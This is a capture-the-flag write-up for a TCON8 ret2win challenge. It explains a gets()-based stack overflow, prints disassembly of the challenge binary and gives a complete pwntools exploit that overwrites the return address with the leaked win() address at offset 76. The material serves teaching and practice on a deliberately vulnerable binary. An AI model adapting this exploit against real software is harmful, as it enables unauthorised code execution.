Challenge Files: https://github.com/mlesterdampios/tcon8/tree/main/baby_brute

This was easily one of the coolest challenges I encountered during TCON8—and it was right up my alley because I genuinely enjoy solving binary exploitation and pwn problems.
At its core, the challenge is a classic ret2win scenario: the goal is to control execution flow by overflowing a buffer and overwriting the saved return address on the stack. Once we can replace that return address, we can redirect the program to a function of our choosing instead of returning normally.
After running basic checks (like reviewing the binary’s security posture) and looking at the decompiled code, the intended path becomes much clearer. The binary contains a win() function—typically responsible for printing the flag or triggering the success condition—and also includes a vulnerable_function() that reads user input without properly enforcing bounds. In other words, it accepts data into a fixed-size stack buffer but does not validate input length, which makes it vulnerable to a stack-based buffer overflow when the user provides more data than the buffer can hold.
From there, the exploitation flow is straightforward:
- Identify that
vulnerable_function()stores input in a stack buffer. - Provide an oversized payload to overflow past the buffer.
- Overwrite the saved return address with the address of
win(). - When
vulnerable_function()finishes and executes itsret, the CPU pops our overwritten return address—causing execution to jump directly intowin().
So instead of needing complex ROP chains or multiple stages, the challenge rewards clean fundamentals: understand the stack layout, find the correct offset to the return address, and redirect control flow to win(). Once the return address is overwritten successfully, the program naturally “returns” into our desired location, and the win condition is triggered.

main()
.text:080492F9 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080492F9 public main
.text:080492F9 main proc near ; DATA XREF: _start+20↑o
.text:080492F9
.text:080492F9 argc = dword ptr 8
.text:080492F9 argv = dword ptr 0Ch
.text:080492F9 envp = dword ptr 10h
.text:080492F9
.text:080492F9 ; __unwind {
.text:080492F9 lea ecx, [esp+4]
.text:080492FD and esp, 0FFFFFFF0h
.text:08049300 push dword ptr [ecx-4]
.text:08049303 push ebp
.text:08049304 mov ebp, esp
.text:08049306 push ebx
.text:08049307 push ecx
.text:08049308 call __x86_get_pc_thunk_bx
.text:0804930D add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049313 mov eax, ds:(stdin_ptr - 804C000h)[ebx]
.text:08049319 mov eax, [eax]
.text:0804931B push 0 ; n
.text:0804931D push 2 ; modes
.text:0804931F push 0 ; buf
.text:08049321 push eax ; stream
.text:08049322 call _setvbuf
.text:08049327 add esp, 10h
.text:0804932A mov eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:08049330 mov eax, [eax]
.text:08049332 push 0 ; n
.text:08049334 push 2 ; modes
.text:08049336 push 0 ; buf
.text:08049338 push eax ; stream
.text:08049339 call _setvbuf
.text:0804933E add esp, 10h
.text:08049341 sub esp, 0Ch
.text:08049344 lea eax, (byte_804A098 - 804C000h)[ebx]
.text:0804934A push eax ; s
.text:0804934B call _puts
.text:08049350 add esp, 10h
.text:08049353 sub esp, 0Ch
.text:08049356 lea eax, (byte_804A114 - 804C000h)[ebx]
.text:0804935C push eax ; s
.text:0804935D call _puts
.text:08049362 add esp, 10h
.text:08049365 sub esp, 0Ch
.text:08049368 lea eax, (byte_804A144 - 804C000h)[ebx]
.text:0804936E push eax ; s
.text:0804936F call _puts
.text:08049374 add esp, 10h
.text:08049377 sub esp, 0Ch
.text:0804937A lea eax, (byte_804A174 - 804C000h)[ebx]
.text:08049380 push eax ; s
.text:08049381 call _puts
.text:08049386 add esp, 10h
.text:08049389 sub esp, 8
.text:0804938C lea eax, (win - 804C000h)[ebx]
.text:08049392 push eax
.text:08049393 lea eax, (aHintTheWinFunc - 804C000h)[ebx] ; "Hint: The win() function is at address "...
.text:08049399 push eax ; format
.text:0804939A call _printf
.text:0804939F add esp, 10h
.text:080493A2 call vulnerable_function
.text:080493A7 sub esp, 0Ch
.text:080493AA lea eax, (aGoodbye - 804C000h)[ebx] ; "\nGoodbye!"
.text:080493B0 push eax ; s
.text:080493B1 call _puts
.text:080493B6 add esp, 10h
.text:080493B9 mov eax, 0
.text:080493BE lea esp, [ebp-8]
.text:080493C1 pop ecx
.text:080493C2 pop ebx
.text:080493C3 pop ebp
.text:080493C4 lea esp, [ecx-4]
.text:080493C7 retn
.text:080493C7 ; } // starts at 80492F9
.text:080493C7 main endp
.text:080493C7
.text:080493C7 _text ends
win()
.text:080491F6 ; int win()
.text:080491F6 public win
.text:080491F6 win proc near ; DATA XREF: main+93↓o
.text:080491F6
.text:080491F6 s = byte ptr -4Ch
.text:080491F6 stream = dword ptr -0Ch
.text:080491F6 var_4 = dword ptr -4
.text:080491F6
.text:080491F6 ; __unwind {
.text:080491F6 push ebp
.text:080491F7 mov ebp, esp
.text:080491F9 push ebx
.text:080491FA sub esp, 54h
.text:080491FD call __x86_get_pc_thunk_bx
.text:08049202 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049208 sub esp, 8
.text:0804920B lea eax, (aR - 804C000h)[ebx] ; "r"
.text:08049211 push eax ; modes
.text:08049212 lea eax, (aFlagTxt - 804C000h)[ebx] ; "/flag.txt"
.text:08049218 push eax ; filename
.text:08049219 call _fopen
.text:0804921E add esp, 10h
.text:08049221 mov [ebp+stream], eax
.text:08049224 cmp [ebp+stream], 0
.text:08049228 jnz short loc_8049246
.text:0804922A sub esp, 0Ch
.text:0804922D lea eax, (aFlagFileNotFou - 804C000h)[ebx] ; "Flag file not found! Contact admin."
.text:08049233 push eax ; s
.text:08049234 call _puts
.text:08049239 add esp, 10h
.text:0804923C sub esp, 0Ch
.text:0804923F push 1 ; status
.text:08049241 call _exit
.text:08049246 ; ---------------------------------------------------------------------------
.text:08049246
.text:08049246 loc_8049246: ; CODE XREF: win+32↑j
.text:08049246 sub esp, 4
.text:08049249 push [ebp+stream] ; stream
.text:0804924C push 40h ; '@' ; n
.text:0804924E lea eax, [ebp+s]
.text:08049251 push eax ; s
.text:08049252 call _fgets
.text:08049257 add esp, 10h
.text:0804925A sub esp, 0Ch
.text:0804925D lea eax, (asc_804A038 - 804C000h)[ebx] ; "\n"
.text:08049263 push eax ; s
.text:08049264 call _puts
.text:08049269 add esp, 10h
.text:0804926C sub esp, 8
.text:0804926F lea eax, [ebp+s]
.text:08049272 push eax
.text:08049273 lea eax, (aFlagS - 804C000h)[ebx] ; "Flag: %s\n"
.text:08049279 push eax ; format
.text:0804927A call _printf
.text:0804927F add esp, 10h
.text:08049282 sub esp, 0Ch
.text:08049285 push [ebp+stream] ; stream
.text:08049288 call _fclose
.text:0804928D add esp, 10h
.text:08049290 nop
.text:08049291 mov ebx, [ebp+var_4]
.text:08049294 leave
.text:08049295 retn
.text:08049295 ; } // starts at 80491F6
.text:08049295 win endp
vulnerable_function()
.text:08049296 ; int vulnerable_function()
.text:08049296 public vulnerable_function
.text:08049296 vulnerable_function proc near ; CODE XREF: main+A9↓p
.text:08049296
.text:08049296 s = byte ptr -48h
.text:08049296 var_4 = dword ptr -4
.text:08049296
.text:08049296 ; __unwind {
.text:08049296 push ebp
.text:08049297 mov ebp, esp
.text:08049299 push ebx
.text:0804929A sub esp, 44h
.text:0804929D call __x86_get_pc_thunk_bx
.text:080492A2 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080492A8 sub esp, 0Ch
.text:080492AB lea eax, (aEnterYourName - 804C000h)[ebx] ; "Enter your name: "
.text:080492B1 push eax ; format
.text:080492B2 call _printf
.text:080492B7 add esp, 10h
.text:080492BA mov eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:080492C0 mov eax, [eax]
.text:080492C2 sub esp, 0Ch
.text:080492C5 push eax ; stream
.text:080492C6 call _fflush
.text:080492CB add esp, 10h
.text:080492CE sub esp, 0Ch
.text:080492D1 lea eax, [ebp+s]
.text:080492D4 push eax ; s
.text:080492D5 call _gets
.text:080492DA add esp, 10h
.text:080492DD sub esp, 8
.text:080492E0 lea eax, [ebp+s]
.text:080492E3 push eax
.text:080492E4 lea eax, (aHelloS - 804C000h)[ebx] ; "Hello, %s!\n"
.text:080492EA push eax ; format
.text:080492EB call _printf
.text:080492F0 add esp, 10h
.text:080492F3 nop
.text:080492F4 mov ebx, [ebp+var_4]
.text:080492F7 leave
.text:080492F8 retn
.text:080492F8 ; } // starts at 8049296
.text:080492F8 vulnerable_function endp
Solution
#!/usr/bin/env python3
from pwn import *
import re
gs = '''
continue
'''
def start(elf):
#if args.REMOTE:
return remote("127.0.0.1", 1337)
#if args.GDB:
#return gdb.debug([elf.path], gdbscript=gs)
#else:
#return process([elf.path])
def newRecvall(p, timeout=1):
data = b""
while True:
try:
chunk = p.recv(timeout=timeout)
if not chunk:
break
data += chunk
except EOFError:
break
log.info(hexdump(data))
return data
def newSend(p, send, newline=True):
if newline:
log.info(b'SENDING (via sendline): ' + send)
p.sendline(send)
else:
log.info(b'SENDING: ' + send)
p.send(send)
log.info(hexdump(send))
def newRecvuntilAndSend(p, until, send, newline=True, timeout=1, error=True):
data = b""
while True:
try:
chunk = p.recv(timeout=timeout)
if not chunk:
break
data += chunk
if until in data:
break
except EOFError:
break
if until not in data and error:
log.info(b'Expected: ')
log.info(hexdump(until))
log.info(b'Received: ')
log.info(hexdump(data))
log.error(b'Expected `until` not found in received data')
log.info(hexdump(data))
newSend(p, send, newline)
def attempt_exploit():
p = None
try:
elf = ELF("./pwn1")
context.binary = elf
context.arch = "i386"
context.endian = "little"
p = start(elf)
# === Read banner and extract win() address from it ===
banner_and_prompt = p.recvuntil(b"Enter your name:")
log.info(b"banner_and_prompt:")
log.info(hexdump(banner_and_prompt))
m = re.search(rb"win\(\)\s*function\s*is\s*at\s*address\s*(0x[0-9a-fA-F]+)", banner_and_prompt)
if not m:
# fallback: grab the first hex address-looking token
m = re.search(rb"(0x[0-9a-fA-F]+)", banner_and_prompt)
if not m:
log.error("Could not parse win() address from banner output")
win_addr = int(m.group(1), 16)
log.info(f"win_addr = {hex(win_addr)}")
offset = 76
log.info(f"offset = {offset}")
payload = b"A" * offset + p32(win_addr)
# === Send overflow payload ===
newSend(p, payload, newline=True)
# === Read whatever win() prints (flag/shell/etc.) ===
resp = newRecvall(p, timeout=2)
if resp:
p.interactive()
p.close()
except Exception as e:
log.info(f"Error: {e!r}")
try:
if p is not None:
p.close()
except Exception:
pass
attempt_exploit()



